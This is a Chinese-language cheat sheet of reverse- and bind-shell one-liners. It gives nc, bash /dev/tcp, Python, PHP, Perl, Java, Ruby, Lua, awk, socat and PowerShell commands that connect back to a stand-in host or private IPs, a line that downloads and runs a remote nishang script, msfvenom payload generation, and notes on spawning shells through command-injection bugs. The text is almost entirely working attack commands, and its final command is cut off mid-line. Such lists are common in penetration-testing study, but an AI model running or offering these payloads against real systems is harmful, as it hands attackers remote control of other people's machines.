反弹shell总结

---

讲在前面说的话：

没有任何基础的 推荐 【技术分享】linux各种一句话反弹shell总结

---

反弹shell总结

nc反弹shell

正向shell

nc -lvp 1234 -e /bin/bash # linux  服务端（被攻击的主机）

nc -lvp 1234 -e c:\windows\system32\cmd.exe # windows 服务端（被攻击的主机）

nc host.example.com 1234 # linux 客户端

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l host.example.com 1234 > /tmp/f # linux  服务端（被攻击的主机）

nc host.example.com 1234 # 客户端

反向shell

nc -lvp 1234 # 服务端

nc host.example.com 1234 -e /bin/sh # linux 客户端 （被攻击的主机）

nc host.example.com 1234 -e c:\windows\system32\cmd.exe # windows 客户端 （被攻击的主机）

正向shell（服务端被攻击）：

本地或vps将自己的shell传给服务器（端口监听在服务器上）

反向shell（客户端被攻击）：

目标机器将shell主动传给本地或vps（端口监听在本地vps上）

无nc反弹shell

python反弹shell

nc -lvp 1234 # 服务端

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("host.example.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# 绕过限制sudo提权
sudo python -c "import pty;pty.spawn("/bin/bash")"

# 反弹shell后，显示当前用户信息
python -c "import pty; pty.spawn("/bin/bash")"

bash反弹shell

nc -lvp 1234 # 服务端

bash -i >& /dev/tcp/host.example.com/1234 0>&1 # 客户端 （被攻击的主机）

PHP反向shell

php -r '$sock=fsockopen("host.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl反向shell

perl -e 'use Socket;$i="host.example.com";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"host.example.com:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Java反弹shell

Runtime r = Runtime.getRuntime();

Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/host.example.com/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});

p.waitFor();

Runtime r = Runtime.getRuntime();

Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/host.example.com/1234 0>&1"});

p.waitFor();

socat 反弹shell

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat chmod 755 /tmp/socat /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:host.example.com:1234

Ruby反弹shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua反弹shell

lua -e "require('socket');require('os');t=socket.tcp();t:connect('host.example.com','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Awk 反弹shell

awk 'BEGIN{s="/inet/tcp/0/host.example.com/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

exec反弹shell

exec 5<>/dev/tcp/host.example.com/1234 cat <&5 | while read line; do $line 2>&5 >&5; done

0<&196;exec 196<>/dev/tcp/host.example.com/1234; sh <&196>&196 2>&196

powershell反弹shell

apt-get install powshell

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress host.example.com -port 1234

利用msf生成反弹shell

Msfvenom生成一个反弹shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=443 > shell443.php

利用模块

use exploit/multi/handler

msf生成一个war格式的反弹shell

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.5 lport=6666 -f war -o test.war

msfvenom生成一个payload,上传到目标,增加执行权限

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=8888 -f elf > shell.elf

---

kali综合渗透测试-常用代码

命令执行漏洞反弹shell代码:

echo “bash -i >& /dev/tcp/192.168.56.102/6666 0>&1” | bash

burpsuite抓包修改用户名密码的数据包内容代入数据库执行，反弹shell语句

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1